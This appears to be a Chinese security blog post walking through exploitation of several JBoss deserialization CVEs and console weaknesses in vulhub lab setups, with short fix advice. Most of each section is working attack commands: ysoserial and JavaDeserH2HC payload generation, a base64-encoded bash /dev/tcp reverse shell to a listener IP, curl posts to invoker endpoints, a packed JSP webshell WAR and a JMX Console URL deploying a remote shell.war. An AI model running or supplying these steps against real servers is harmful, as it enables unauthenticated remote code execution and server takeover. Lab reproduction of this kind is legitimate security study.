常见中间件——Jboss漏洞复现分析

VSole2022-06-06 14:17:50

JBoss漏洞复现分析


JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)


漏洞原理


该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

环境:https://github.com/vulhub/vulhub

访问 /invoker/readonly 返回500,说明页面存在,此页面存在反序列化漏洞。



使用工具JavaDeserH2HC(https://github.com/joaomatosf/JavaDeserH2HC)进行攻击

首先使用nc建立一个监听,然后使用工具



#生成ReverseShellCommonsCollectionsHashMap.classjavac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.serjava -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口)
#访问利用 POST 二进制数据上去curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser



直接获取到root权限


也可以使用常规Java反序列化漏洞测试方法来复现该漏洞

首先bash -i >& /dev/tcp/192.168.111.128/8888 0>&1进行base64加密后反弹shell的命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}

使用ysoserial来复现生成序列化数据,利用链根据java版本选择,vulnhub环境的java版本较高,所以使用CommonsCollections5

使用nc监听后按顺序输入以下命令



java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
curl http://192.168.111.128:8080/invoker/readonly --data-binary @poc.ser



同样能够获取权限


修复建议:


  • 删除http-invoker.sar组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

  • 更新JBoss



JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)


漏洞原理


JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTPInvocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

环境:https://github.com/vulhub/vulhub

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet 请求中



因为都是反序列化漏洞,攻击时方式和之前一样,先生成一个序列化数据,然后通过包发送,生成方式一样。



#生成ReverseShellCommonsCollectionsHashMap.classjavac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口)
#访问利用 curl http://127.0.0.1:8080/jbossmq-httpil/HTTPServerILServlet  --data-binary @ReverseShellCommonsCollectionsHashMap.ser



同样的也可以使用常规Java反序列化漏洞测试方法来复现该漏洞

具体方法和上面一样

使用nc监听后按顺序输入以下命令



java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
curl http://192.168.111.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser




JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)


漏洞原理


这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。



影响版本


  • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10

  • JBoss AS (Wildly) 6 and earlier

  • JBoss A-MQ 6.2.0

  • JBoss Fuse 6.2.0

  • JBoss SOA Platform (SOA-P) 5.3.1

  • JBoss Data Grid (JDG) 6.5.0

  • JBoss BRMS (BRMS) 6.1.0

  • JBoss BPMS (BPMS) 6.1.0

  • JBoss Data Virtualization (JDV) 6.1.0

  • JBoss Fuse Service Works (FSW) 6.0.0

  • JBoss Enterprise Web Server (EWS) 2.1,3.


环境:https://github.com/vulhub/vulhub

访问 /invoker/JMXInvokerServlet



说明接口开放,此接口存在反序列化漏洞

同样这里直接利用CVE-2017-12149生成的ser,发送到 /invoker/JMXInvokerServlet接口中。



curl http://127.0.0.1:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser




JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)


影响版本


  • Jboss 6.x


环境:https://github.com/vulhub/vulhub

访问 /invoker/EJBInvokerServlet



说明接口开放,此接口存在反序列化漏洞

同样这里直接利用CVE-2017-12149生成的ser,发送到 /invoker/EJBInvokerServlet接口中。



curl http://127.0.0.1:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser



Administration Console 弱口令 && 后台getshell漏洞


环境:https://github.com/vulhub/vulhub

在后台管理控制台爆破密码http://127.0.0.1:8080/admin-console/index.seam



登陆后台后上传war包,和tomcat的漏洞同理,写好一个jsp木马打包成war文件

jar -cvf shell.war shell.jsp




蚁剑连接http://127.0.0.1:8080/shell/shell.jsp



修复建议


  1. 修改密码 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

  2. 删除Administration Console页面。
  3. JBoss版本>=6.0,admin-console页面路径为:C:\jboss-6.1.0.Final\common\deploy\admin-console.war
  4. 6.0之前的版本,路径为C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war



JMX Console未授权访问


JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面。

http://127.0.0.1:8080/jmx-console/

在JMXConsole页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeploye



进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署。



(这里点了invoke会跳到500,所以我直接在url构造上传war包)

http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.0.108/shell.war



显示这样就代表上传成功



修复建议


  • 增加密码措施,防止未授权访问。

  • 删除JMXConsole,后重启JBoss  C:\jboss-6.1.0.Final\common\deploy\jmx-console.war

针对Jboss反序列化网上已经有很多工具了,这里放出来给大家参考

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

序列化jboss
本作品采用《CC 协议》,转载必须注明作者和本文链接
干货|最全的Jboss漏洞复现笔记
JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LG
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。 但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
0x03 单机信息搜集tasklist /svc命令将获取到的进程列表与本地杀软进程进行对比后发现存在:ZhuDongFangYu.exe、aliyundun.exe、aliyun_assist_service.exe等进程。netstat -ano命令下发现1433、3389是开着的,但由于这台主机为内网,而且存在360主动防御,所以暂时无法实现文件落地、执行添加/修改用户密码、端口转发等操作。
接到一个紧急测试任务,只有一个目标名称和一个ip。这样的话webshell的url就无法正常访问了)带上cookie即可正常连接。连接成功后,为了稳定webshell,我们尝试将webshell写入到根目录和静态文件的目录,但是仍会受到强制跳转的影响。于是将webshell内容写入到了在登陆前就能访问的jsp正常文件中,来稳定shell。
0x00 前言这次渗透测试是从一个CVE开始的,从CVE到内网然后到域控!首先对发现了该站点有JBoss页面,经过测试发现具有JBoss序列化漏洞。使用网上提供的EXP和利用方法,在VPS上面获取了一个shell。
一次完整的渗透测试
2021-11-19 15:35:41
渗透测试中,Web端最常见的问题大多出现在弱口令、文件上传、未授权、任意文件读取、反序列化、模版漏洞等方面。因此,我们着重围绕这些方面进行渗透。
如何攻击Java Web应用
2021-08-23 11:06:00
本文从黑盒渗透的角度,总结下Java Web应用所知道的一些可能被利用的入侵点。
VSole
网络安全专家